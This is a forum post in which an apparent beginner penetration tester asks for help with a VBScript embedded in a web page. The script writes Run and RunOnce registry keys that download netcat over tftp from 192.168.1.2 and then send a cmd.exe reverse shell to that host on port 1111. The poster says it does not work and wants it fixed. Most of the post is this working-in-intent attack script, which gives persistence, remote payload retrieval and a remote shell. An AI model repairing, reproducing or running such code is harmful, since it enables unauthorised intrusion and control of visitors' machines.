Hi EveryOne !
I am a begginer pentration tester in a secirity company.
I wnat to demonstrate for a client the power of Vbscript and how it can
be harmful so I tried to write a script in a test web page in his
company ,this is what I wrote:
<script Language="VBScript">
set wshShell=CreateObject("WScript.shell")
wshShell.Regwrite
"HKLM\Software\Microsoft\Windows\CurrenrVersion\RunOnce\instnc","at
11:00 cmd /c tftp -i 192.168.1.2 get nc.exe "
wshShell.Regwrite
"HKLM\software\Microsoft\windows\CurrenrVersion\Run\Nav","at 11:05 cmd
/c nc.exe 192.168.1.2 1111 -e cmd.exe"
</script>
this script should download nc.exe (netcat) from tftp and then after 5
minutes shoud send a cmd.exe shell to another machine on destination
port 1111 but this script doesnt work! I promise Ill show him this in
the next week and dont know what is going wrong here.
after the user entered to this web page i open his registery and the
first command wosnt there.the local user belongs to the administrator
group.
Please help !
J